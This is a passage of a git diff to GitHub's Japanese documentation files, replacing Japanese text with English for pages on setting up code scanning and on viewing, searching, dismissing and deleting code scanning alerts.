ワークフローのトラブルシューティング](/code-security/secure-coding/troubleshooting-the-codeql-workflow)」を参照してください。 +For more tips and tricks about why `autobuild` won't build your code, see "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)." -コンパイル言語にマニュアルのビルドステップを追加しても、リポジトリで依然として{% data variables.product.prodname_code_scanning %}が動作しない場合は、{% data variables.contact.contact_support %}にお問い合わせください。 +If you added manual build steps for compiled languages and {% data variables.product.prodname_code_scanning %} is still not working on your repository, contact {% data variables.contact.contact_support %}. diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md index d5e0f521a2..4f9478f221 100644 --- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md +++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md @@ -1,7 +1,7 @@ --- -title: コードの脆弱性とエラーを自動的にスキャンする -shortTitle: コードを自動駅にスキャンする -intro: 'プロジェクトのコードの脆弱性とエラーは、{% data variables.product.prodname_dotcom %} で確認できます。' +title: Automatically scanning your code for vulnerabilities and errors +shortTitle: Scan code automatically +intro: 'You can find vulnerabilities and errors in your project''s code on {% data variables.product.prodname_dotcom %}, as well as view, triage, understand, and resolve the related {% data variables.product.prodname_code_scanning %} alerts.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/automatically-scanning-your-code-for-vulnerabilities-and-errors @@ -27,5 +27,4 @@ children: - /running-codeql-code-scanning-in-a-container - /viewing-code-scanning-logs --- - diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md index f67a6e74af..2b8052ebfc 100644 --- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md +++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md @@ -1,7 +1,7 @@ --- -title: リポジトリのコードスキャンアラートを管理する -shortTitle: アラートの管理 -intro: セキュリティビューから、プロジェクトのコードに存在する潜在的な脆弱性やエラーのアラートを表示、修正、却下、削除することができます。 +title: Managing code scanning alerts for your repository +shortTitle: Manage alerts +intro: 'From the security view, you can view, fix, dismiss, or delete alerts for potential vulnerabilities or errors in your project''s code.' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permission to a repository you can manage {% data variables.product.prodname_code_scanning %} alerts for that repository.' versions: @@ -23,28 +23,27 @@ topics: - Alerts - Repositories --- - {% data reusables.code-scanning.beta %} -## {% data variables.product.prodname_code_scanning %} からのアラートについて +## About alerts from {% data variables.product.prodname_code_scanning %} -デフォルトの {% data variables.product.prodname_codeql %} 解析、サードパーティーの解析、または複数のタイプの解析を使用して、リポジトリのコードをチェックするため、{% data variables.product.prodname_code_scanning %} をセットアップできます。 解析が完了すると、解析によるアラートがリポジトリのセキュリティビューに隣り合わせで表示されます。 サードパーティツールまたはカスタムクエリの結果には、{% data variables.product.company_short %} のデフォルト {% data variables.product.prodname_codeql %} 解析により検出されたアラートで表示されるプロパティの一部が含まれていない場合があります。 詳しい情報については、「[リポジトリに対する {% data variables.product.prodname_code_scanning %} をセットアップする](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)」を参照してください。 +You can set up {% data variables.product.prodname_code_scanning %} to check the code in a repository using the default {% data variables.product.prodname_codeql %} analysis, a third-party analysis, or multiple types of analysis. When the analysis is complete, the resulting alerts are displayed alongside each other in the security view of the repository. Results from third-party tools or from custom queries may not include all of the properties that you see for alerts detected by {% data variables.product.company_short %}'s default {% data variables.product.prodname_codeql %} analysis. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." -デフォルトでは、{% data variables.product.prodname_code_scanning %} はプルリクエスト中にデフォルトブランチのコードを定期的に解析します。 プルリクエストでアラートを管理する方法については、「[プルリクエストで {% data variables.product.prodname_code_scanning %} アラートをトリガーする](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)」を参照してください。 +By default, {% data variables.product.prodname_code_scanning %} analyzes your code periodically on the default branch and during pull requests. For information about managing alerts on a pull request, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." {% data reusables.code-scanning.upload-sarif-alert-limit %} -## アラートの詳細について +## About alerts details -各アラートはコードの問題と、それを特定したツールの名前を表示します。 You can see the line of code that triggered the alert, as well as properties of the alert, such as the severity{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, security severity,{% endif %} and the nature of the problem. アラートは、問題が最初に発生したときにも通知します。 {% data variables.product.prodname_codeql %} 解析で特定されたアラートについては、問題を解説する方法についての情報も表示されます。 +Each alert highlights a problem with the code and the name of the tool that identified it. You can see the line of code that triggered the alert, as well as properties of the alert, such as the severity{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, security severity,{% endif %} and the nature of the problem. Alerts also tell you when the issue was first introduced. For alerts identified by {% data variables.product.prodname_codeql %} analysis, you will also see information on how to fix the problem. -![{% data variables.product.prodname_code_scanning %} からのアラートの例](/assets/images/help/repository/code-scanning-alert.png) +![Example alert from {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-alert.png) -{% data variables.product.prodname_codeql %} を使用して {% data variables.product.prodname_code_scanning %} をセットアップした場合、コード内のデータフロー問題も検出できます。 データフロー解析は、データを安全でない方法で利用する、関数に危険な引数を渡す、機密情報を漏洩するなど、コードにおける潜在的なセキュリティ問題を検出します。 +If you set up {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_codeql %}, this can also detect data-flow problems in your code. Data-flow analysis finds potential security issues in code, such as: using data insecurely, passing dangerous arguments to functions, and leaking sensitive information. -{% data variables.product.prodname_code_scanning %} がデータフローアラートを報告すると、{% data variables.product.prodname_dotcom %} はデータがコードを通してどのように移動するかを示します。 {% data variables.product.prodname_code_scanning_capc %} を使用すると、機密情報を漏洩し、悪意のあるユーザによる攻撃の入り口になる可能性があるコードの領域を特定できます。 +When {% data variables.product.prodname_code_scanning %} reports data-flow alerts, {% data variables.product.prodname_dotcom %} shows you how data moves through the code. {% data variables.product.prodname_code_scanning_capc %} allows you to identify the areas of your code that leak sensitive information, and that could be the entry point for attacks by malicious users. ### About severity levels @@ -80,11 +79,11 @@ On the alert page, you can see that the filepath is marked as library code (`Lib ![Code scanning library alert details](/assets/images/help/repository/code-scanning-library-alert-show.png) -## リポジトリのアラートを表示する +## Viewing the alerts for a repository -リポジトリへの書き込み権限があるユーザなら誰でも、プルリクエストの {% data variables.product.prodname_code_scanning %} アノテーションを表示できます。 詳しい情報については、「[プルリクエストで {% data variables.product.prodname_code_scanning %} アラートをトリガーする](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)」を参照してください。 +Anyone with read permission for a repository can see {% data variables.product.prodname_code_scanning %} annotations on pull requests. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." -[**Security**] タブでリポジトリのすべてのアラートの概要を表示するには、書き込み権限が必要です。 +You need write permission to view a summary of all the alerts for a repository on the **Security** tab. By default, the code scanning alerts page is filtered to show alerts for the default branch of the repository only. @@ -92,36 +91,41 @@ By default, the code scanning alerts page is filtered to show alerts for the def {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-code-scanning-alerts %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -1. Optionally, use the free text search box or the drop-down menus to filter alerts. たとえば、アラートを識別するために使われたツールによってフィルタリングできます。 ![Filter by tool](/assets/images/help/repository/code-scanning-filter-by-tool.png){% endif %} +1. Optionally, use the free text search box or the drop-down menus to filter alerts. For example, you can filter by the tool that was used to identify alerts. + ![Filter by tool](/assets/images/help/repository/code-scanning-filter-by-tool.png){% endif %} {% data reusables.code-scanning.explore-alert %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - ![アラートの概要](/assets/images/help/repository/code-scanning-click-alert.png) + ![Summary of alerts](/assets/images/help/repository/code-scanning-click-alert.png) {% else %} - ![{% data variables.product.prodname_code_scanning %}からのアラートのリスト](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) + ![List of alerts from {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) {% endif %} -1. アラートでデータフローの問題が強調表示された場合は、必要に応じて [**Show paths**] をクリックし、データソースから、それが使用されているシンクまでのパスを表示します。 ![アラートの [Show paths] リンク](/assets/images/help/repository/code-scanning-show-paths.png) -1. {% data variables.product.prodname_codeql %} 解析によるアラートには、問題の説明も含まれています。 コードを修正する方法についてのガイダンスを表示するには、[**Show more**] をクリックします。 ![アラートの詳細情報](/assets/images/help/repository/code-scanning-alert-details.png) +1. Optionally, if the alert highlights a problem with data flow, click **Show paths** to display the path from the data source to the sink where it's used. + ![The "Show paths" link on an alert](/assets/images/help/repository/code-scanning-show-paths.png) +1. Alerts from {% data variables.product.prodname_codeql %} analysis include a description of the problem. Click **Show more** for guidance on how to fix your code. + ![Details for an alert](/assets/images/help/repository/code-scanning-alert-details.png) {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} {% note %} -**ノート:** {% data variables.product.prodname_codeql %}での{% data variables.product.prodname_code_scanning %}分析に対して、リポジトリの{% data variables.product.prodname_code_scanning %}アラートのリストの上部にあるヘッダ中で、最新の実行に関する情報を見ることができます。 +**Note:** For {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_codeql %}, you can see information about the latest run in a header at the top of the list of {% data variables.product.prodname_code_scanning %} alerts for the repository. -たとえば、最後のスキャンが実行されたのがいつか、リポジトリ中のコードの合計行数に対する分析されたコードの行数、生成されたアラートの合計数を見ることができます。 ![UIバナー](/assets/images/help/repository/code-scanning-ui-banner.png) +For example, you can see when the last scan ran, the number of lines of code analyzed compared to the total number of lines of code in your repository, and the total number of alerts that were generated. + ![UI banner](/assets/images/help/repository/code-scanning-ui-banner.png) {% endnote %} {% endif %} ## Filtering {% data variables.product.prodname_code_scanning %} alerts -You can filter the alerts shown in the {% data variables.product.prodname_code_scanning %} alerts view. This is useful if there are many alerts as you can focus on a particular type of alert. There are some predefined filters and a range of keywords that you can use to refine the list of alerts displayed. +You can filter the alerts shown in the {% data variables.product.prodname_code_scanning %} alerts view. This is useful if there are many alerts as you can focus on a particular type of alert. There are some predefined filters and a range of keywords that you can use to refine the list of alerts displayed. - To use a predefined filter, click **Filters**, or a filter shown in the header of the list of alerts, and choose a filter from the drop-down list. {% ifversion fpt or ghes > 3.0 or ghec %}![Predefined filters](/assets/images/help/repository/code-scanning-predefined-filters.png) {% else %}![Predefined filters](/assets/images/enterprise/3.0/code-scanning-predefined-filters.png){% endif %} - To use a keyword, either type directly in the filters text box, or: 1. Click in the filters text box to show a list of all available filter keywords. - 2. Click the keyword you want to use and then choose a value from the drop-down list. ![Keyword filters list](/assets/images/help/repository/code-scanning-filter-keywords.png) + 2. Click the keyword you want to use and then choose a value from the drop-down list. + ![Keyword filters list](/assets/images/help/repository/code-scanning-filter-keywords.png) The benefit of using keyword filters is that only values with results are shown in the drop-down lists. This makes it easy to avoid setting filters that find no results. @@ -133,36 +137,37 @@ You can use the "Only alerts in application code" filter or `autofilter:true` ke {% ifversion fpt or ghes > 3.1 or ghec %} -## {% data variables.product.prodname_code_scanning %}アラートの検索 +## Searching {% data variables.product.prodname_code_scanning %} alerts -アラートのリストを検索できます。 これは、リポジトリ中に大量のアラートがある場合や、たとえばアラートの正確な名前を知らないような場合に役立ちます。 {% data variables.product.product_name %}は以下に渡って自由テキスト検索を行います。 -- アラート名 -- アラートの説明 -- アラートの詳細（これにはデフォルトではビューから隠されている、折りたたみ可能な**Show more（さらに表示）**セクション中の情報も含まれます） +You can search the list of alerts. This is useful if there is a large number of alerts in your repository, or if you don't know the exact name for an alert for example. {% data variables.product.product_name %} performs the free text search across: +- The name of the alert +- The alert description +- The alert details (this also includes the information hidden from view by default in the **Show more** collapsible section) - ![検索で使われたアラートの情報](/assets/images/help/repository/code-scanning-free-text-search-areas.png) + ![The alert information used in searches](/assets/images/help/repository/code-scanning-free-text-search-areas.png) -| サポートされている検索 | 構文の例 | 結果 | -| ----------------------- | ------------------- | --------------------------------------- | -| 単一語検索 | `injection` | `injection`という語を含むすべてのアラートを返す | -| 複数語検索 | `sql injection` | `sql`あるいは`injection`を含むすべてのアラートを返す | -| 完全一致検索
                    （ダブルクオートを使う） | `"sql injection"` | 厳密に`sql injection`というフレーズを含むすべてのアラートを返す | -| OR検索 | `sql OR injection` | `sql`あるいは`injection`を含むすべてのアラートを返す | -| AND検索 | `sql AND injection` | `sql`及び`injection`という両方の語を含むすべてのアラートを返す | +| Supported search | Syntax example | Results | +| ---- | ---- | ---- | +| Single word search | `injection` | Returns all the alerts containing the word `injection` | +| Multiple word search | `sql injection` | Returns all the alerts containing `sql` or `injection` | +| Exact match search
                    (use double quotes) | `"sql injection"` | Returns all the alerts containing the exact phrase `sql injection` | +| OR search | `sql OR injection` | Returns all the alerts containing `sql` or `injection` | +| AND search | `sql AND injection` | Returns all the alerts containing both words `sql` and `injection` | {% tip %} -**参考:** -- 複数語検索はOR検索と等価です。 -- AND検索は検索語がアラート名、説明、詳細の中にどういった順序で_どこに_あっても結果を返します。 +**Tips:** +- The multiple word search is equivalent to an OR search. +- The AND search will return results where the search terms are found _anywhere_, in any order in the alert name, description, or details. {% endtip %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-code-scanning-alerts %} -1. **Filters（フィルタ）**ドロップダウンメニューの右で、自由テキスト検索ボックスに検索するキーワードを入力してください。 ![自由テキスト検索ボックス](/assets/images/help/repository/code-scanning-search-alerts.png) -2. returnを押してください。 アラートリストには、検索条件にマッチしたオープンな{% data variables.product.prodname_code_scanning %}アラートが含まれます。 +1. To the right of the **Filters** drop-down menus, type the keywords to search for in the free text search box. + ![The free text search box](/assets/images/help/repository/code-scanning-search-alerts.png) +2. Press return. The alert listing will contain the open {% data variables.product.prodname_code_scanning %} alerts matching your search criteria. {% endif %} @@ -175,79 +180,80 @@ You can use the "Only alerts in application code" filter or `autofilter:true` ke {% endif %} -## アラートを解決する +## Fixing an alert -リポジトリへの書き込み権限があるユーザなら誰でも、コードに修正をコミットしてアラートを解決できます。 リポジトリでプルリクエストに対して {% data variables.product.prodname_code_scanning %} が実行されるよう予定されている場合は、修正してプルリクエストを発行するようお勧めします。 これにより、変更の {% data variables.product.prodname_code_scanning %} 解析がトリガーされ、修正で新しい問題が入り込まないようテストされます。 詳しい情報については、「[{% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning) を設定する」および「[プルリクエストで {% data variables.product.prodname_code_scanning %} アラートをトリガーする](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)」を参照してください。 +Anyone with write permission for a repository can fix an alert by committing a correction to the code. If the repository has {% data variables.product.prodname_code_scanning %} scheduled to run on pull requests, it's best to raise a pull request with your correction. This will trigger {% data variables.product.prodname_code_scanning %} analysis of the changes and test that your fix doesn't introduce any new problems. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" and "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." -リポジトリへの書き込み権限がある場合は、アラートの概要を表示して、[**Closed**] をクリックすることで、解決したアラートを表示できます。 詳しい情報については、「[リポジトリのアラートを表示する](#viewing-the-alerts-for-a-repository)」を参照してください。 "Closed"リストは、修正されたアラートと、ユーザが却下したアラートを示します。 +If you have write permission for a repository, you can view fixed alerts by viewing the summary of alerts and clicking **Closed**. For more information, see "[Viewing the alerts for a repository](#viewing-the-alerts-for-a-repository)." The "Closed" list shows fixed alerts and alerts that users have dismissed. -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}自由テキスト検索もしくは{% endif %}フィルタを使って、アラートの一部を表示してから、マッチするすべてのアラートをクローズされたものとしてマークできます。 +You can use{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} the free text search or{% endif %} the filters to display a subset of alerts and then in turn mark all matching alerts as closed. -あるブランチでは解決されたアラートが、別のブランチでは解決されていないことがあります。 アラートの概要で [Branch] ドロップダウンメニューを使用し、特定のブランチでアラートが解決されたかどうか確認できます。 +Alerts may be fixed in one branch but not in another. You can use the "Branch" drop-down menu, on the summary of alerts, to check whether an alert is fixed in a particular branch. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -![ブランチによるアラートのフィルタリング](/assets/images/help/repository/code-scanning-branch-filter.png) +![Filtering alerts by branch](/assets/images/help/repository/code-scanning-branch-filter.png) {% else %} -![ブランチによるアラートのフィルタリング](/assets/images/enterprise/3.1/help/repository/code-scanning-branch-filter.png) +![Filtering alerts by branch](/assets/images/enterprise/3.1/help/repository/code-scanning-branch-filter.png) {% endif %} -## アラートの却下もしくは削除 +## Dismissing or deleting alerts -アラートをクローズする方法は2つあります。 コード中の問題を修正するか、アラートを却下できます。 あるいは、リポジトリの管理権限を持っているなら、アラートを削除できます。 アラートの削除は、{% data variables.product.prodname_code_scanning %}ツールをセットアップした後に、それを削除する事にした場合、あるいは使い続けたいよりも大きなクエリセットで{% data variables.product.prodname_codeql %}分析を設定してしまい、ツールからいくつかのクエリを削除した場合といった状況で役立ちます。 どちらの場合も、アラートを削除することで{% data variables.product.prodname_code_scanning %}の結果をクリーンアップできます。 **Security（セキュリティ）**タブ内でサマリリストからアラートを削除できます。 +There are two ways of closing an alert. You can fix the problem in the code, or you can dismiss the alert. Alternatively, if you have admin permissions for the repository, you can delete alerts. Deleting alerts is useful in situations where you have set up a {% data variables.product.prodname_code_scanning %} tool and then decided to remove it, or where you have configured {% data variables.product.prodname_codeql %} analysis with a larger set of queries than you want to continue using, and you've then removed some queries from the tool. In both cases, deleting alerts allows you to clean up your {% data variables.product.prodname_code_scanning %} results. You can delete alerts from the summary list within the **Security** tab. -アラートの却下は、修正の必要がないと考えるアラートをクローズする方法です。 {% data reusables.code-scanning.close-alert-examples %} アラートはコード中の{% data variables.product.prodname_code_scanning %}アノテーションから、あるいは**Security（セキュリティ）**タブ内のサマリリストから却下できます。 +Dismissing an alert is a way of closing an alert that you don't think needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} You can dismiss alerts from {% data variables.product.prodname_code_scanning %} annotations in code, or from the summary list within the **Security** tab. -アラートを却下すると: +When you dismiss an alert: -- それはすべてのブランチで却下されます。 -- アラートはプロジェクトの現在のアラート数から除外されます。 -- アラートはアラートのサマリの"Closed"リストに移動されます。必要な場合は、そこからアラートを再オープンできます。 -- アラートをクローズした理由は記録されます。 -- 次に{% data variables.product.prodname_code_scanning %}が実行されたとき、同じコードはアラートを生成しません。 +- It's dismissed in all branches. +- The alert is removed from the number of current alerts for your project. +- The alert is moved to the "Closed" list in the summary of alerts, from where you can reopen it, if required. +- The reason why you closed the alert is recorded. +- Next time {% data variables.product.prodname_code_scanning %} runs, the same code won't generate an alert. -アラートを削除すると: +When you delete an alert: -- それはすべてのブランチで削除されます。 -- アラートはプロジェクトの現在のアラート数から除外されます。 -- そのアラートはアラートのサマリの"Closed"リストには追加され_ません_。 -- アラートを生成したコードがそのままになっていて、同じ{% data variables.product.prodname_code_scanning %}ツールが設定変更無く再度実行されれば、分析結果にはそのアラートが再び示されます。 +- It's deleted in all branches. +- The alert is removed from the number of current alerts for your project. +- It is _not_ added to the "Closed" list in the summary of alerts. +- If the code that generated the alert stays the same, and the same {% data variables.product.prodname_code_scanning %} tool runs again without any configuration changes, the alert will be shown again in your analysis results. -アラートを却下もしくは削除するには: +To dismiss or delete alerts: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-code-scanning-alerts %} -1. リポジトリの管理権限を持っていて、この{% data variables.product.prodname_code_scanning %}ツールでアラートを削除したいなら、チェックボックスの一部もしくはすべてを選択して、**Delete（削除）**をクリックしてください。 +1. If you have admin permissions for the repository, and you want to delete alerts for this {% data variables.product.prodname_code_scanning %} tool, select some or all of the check boxes and click **Delete**. - ![アラートの削除](/assets/images/help/repository/code-scanning-delete-alerts.png) + ![Deleting alerts](/assets/images/help/repository/code-scanning-delete-alerts.png) - あるいは{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}自由テキスト検索もしくは{% endif %}フィルタを使ってアラートの一部を表示させ、マッチするすべてのアラートを一度に削除することができます。 たとえば、クエリを{% data variables.product.prodname_codeql %}分析から削除したら、"Rule"フィルタを使ってそのクエリに対するアラートだけをリストして、それらのアラートをすべて選択して削除できます。 + Optionally, you can use{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} the free text search or{% endif %} the filters to display a subset of alerts and then delete all matching alerts at once. For example, if you have removed a query from {% data variables.product.prodname_codeql %} analysis, you can use the "Rule" filter to list just the alerts for that query and then select and delete all of those alerts. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - ![ルールによるアラートのフィルタリング](/assets/images/help/repository/code-scanning-filter-by-rule.png) + ![Filter alerts by rule](/assets/images/help/repository/code-scanning-filter-by-rule.png) {% else %} - ![ルールによるアラートのフィルタリング](/assets/images/enterprise/3.1/help/repository/code-scanning-filter-by-rule.png) + ![Filter alerts by rule](/assets/images/enterprise/3.1/help/repository/code-scanning-filter-by-rule.png) {% endif %} -1. アラートを却下したい場合、そのアラートをまず調べて、却下する正しい理由を選択できるようにすることが重要です。 調べたいアラートをクリックしてください。 +1. If you want to dismiss an alert, it's important to explore the alert first, so that you can choose the correct dismissal reason. Click the alert you'd like to explore. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - ![サマリリストからのアラートのオープン](/assets/images/help/repository/code-scanning-click-alert.png) + ![Open an alert from the summary list](/assets/images/help/repository/code-scanning-click-alert.png) {% else %} - ![{% data variables.product.prodname_code_scanning %}からのアラートのリスト](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) + ![List of alerts from {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) {% endif %} -1. アラートをレビューして、**Dismiss（却下）**をクリックし、アラートをクローズする理由を選択してください。 ![アラートを却下する理由の選択](/assets/images/help/repository/code-scanning-alert-close-drop-down.png) +1. Review the alert, then click **Dismiss** and choose a reason for closing the alert. + ![Choosing a reason for dismissing an alert](/assets/images/help/repository/code-scanning-alert-close-drop-down.png) {% data reusables.code-scanning.choose-alert-dismissal-reason %} {% data reusables.code-scanning.false-positive-fix-codeql %} -### 複数のアラートを一度に却下する +### Dismissing multiple alerts at once -同じ理由で却下したい複数のアラートがプロジェクトにあるなら、アラートのサマリからそれらをまとめて却下できます。 通常は、リストをフィルタしてマッチするアラートをすべて却下することになるでしょう。 たとえば、プロジェクト中で特定の共通脆弱性タイプ (CWE)の脆弱性がタグ付けされた現在のアラートをすべて却下したいことがあるでしょう。 +If a project has multiple alerts that you want to dismiss for the same reason, you can bulk dismiss them from the summary of alerts. Typically, you'll want to filter the list and then dismiss all of the matching alerts. For example, you might want to dismiss all of the current alerts in the project that have been tagged for a particular Common Weakness Enumeration (CWE) vulnerability. -## 参考リンク +## Further reading -- 「[プルリクエストで {% data variables.product.prodname_code_scanning %} アラートをトリガーする](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)」 -- 「[リポジトリに対する {% data variables.product.prodname_code_scanning %} をセットアップする](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)」 -- 「[{% data variables.product.prodname_code_scanning %} からのアラートを管理する](/code-security/secure-coding/about-integration-with-code-scanning)」 +- "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" +- "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)" +- "[About integration with {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-integration-with-code-scanning)" diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md index f934b8abf1..93999b69a9 100644 --- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md +++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md @@ -1,7 +1,7 @@ --- -title: リポジトリに対するコードスキャンをセットアップする -shortTitle: Code scanningのセットアップ -intro: 'リポジトリにワークフローを追加することにより、{% data variables.product.prodname_code_scanning %} をセットアップできます。' +title: Setting up code scanning for a repository +shortTitle: Set up code scanning +intro: 'You can set up {% data variables.product.prodname_code_scanning %} by adding a workflow to your repository.' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permissions to a repository, you can set up or configure {% data variables.product.prodname_code_scanning %} for that repository.' redirect_from: @@ -24,92 +24,101 @@ topics: - Repositories --- - - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} -## {% data variables.product.prodname_code_scanning %} のセットアップ用オプション +## Options for setting up {% data variables.product.prodname_code_scanning %} -{% data variables.product.prodname_code_scanning %} アラートの生成方法、および使用するツールを、リポジトリレベルで決定できます。 {% data variables.product.product_name %} は、{% data variables.product.prodname_codeql %} 解析のために完全に統合されたサポートを提供すると共に、サードパーティーのツールを使用した解析もサポートします。 詳しい情報については「[{% data variables.product.prodname_code_scanning %}について](/code-security/secure-coding/about-code-scanning#about-tools-for-code-scanning)」を参照してください。 +You decide how to generate {% data variables.product.prodname_code_scanning %} alerts, and which tools to use, at a repository level. {% data variables.product.product_name %} provides fully integrated support for {% data variables.product.prodname_codeql %} analysis, and also supports analysis using third-party tools. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning#about-tools-for-code-scanning)." {% data reusables.code-scanning.enabling-options %} -## アクションを使用して {% data variables.product.prodname_code_scanning %} をセットアップする +{% ifversion ghae %} +## Prerequisites -{% ifversion fpt or ghec %}アクションを使用して {% data variables.product.prodname_code_scanning %} を実行すると、分数を消費します。 詳しい情報については、「[{% data variables.product.prodname_actions %}の支払いについて](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)」を参照してください。{% endif %} +Before setting up {% data variables.product.prodname_code_scanning %} for a repository, you must ensure that there is at least one self-hosted {% data variables.product.prodname_actions %} runner available to the repository. + +Enterprise owners, organization and repository administrators can add self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." +{% endif %} + +## Setting up {% data variables.product.prodname_code_scanning %} using actions + +{% ifversion fpt or ghec %}Using actions to run {% data variables.product.prodname_code_scanning %} will use minutes. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."{% endif %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} -3. ”{% data variables.product.prodname_code_scanning_capc %} alerts"の右で、**Set up {% data variables.product.prodname_code_scanning %}**をクリックしてください。 {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}{% data variables.product.prodname_code_scanning %}がない場合は、Organizationのオーナーもしくはリポジトリの管理者に{% data variables.product.prodname_GH_advanced_security %}を有効化してもらうよう頼まなければなりません。 詳しい情報については、「[Organization のセキュリティおよび分析設定を管理する](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」または「[リポジトリのセキュリティと分析設定を管理する](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)」を参照してください。{% endif %} ![セキュリティの概要にある、[{% data variables.product.prodname_code_scanning_capc %}] の右側の [{% data variables.product.prodname_code_scanning %}] ボタン](/assets/images/help/security/overview-set-up-code-scanning.png) -4. [Get started with {% data variables.product.prodname_code_scanning %}] で、{% data variables.product.prodname_codeql_workflow %} またはサードパーティーのワークフローの [**Set up this workflow**] をクリックします。 !["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)ワークフローは、リポジトリで検索されたプログラミング言語に関連がある場合にのみ表示されます。 {% data variables.product.prodname_codeql_workflow %}は常に表示されますが、"Set up this workflow（このワークフローをセットアップ）"ボタンは{% data variables.product.prodname_codeql %}分析がリポジトリ内にある言語をサポートしている場合にのみ有効になります。 -5. {% data variables.product.prodname_code_scanning %} がコードをスキャンする方法をカスタマイズするため、ワークフローを編集します。 +1. To the right of "{% data variables.product.prodname_code_scanning_capc %} alerts", click **Set up {% data variables.product.prodname_code_scanning %}**. {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}If {% data variables.product.prodname_code_scanning %} is missing, you need to ask an organization owner or repository administrator to enable {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Managing security and analysis settings for your 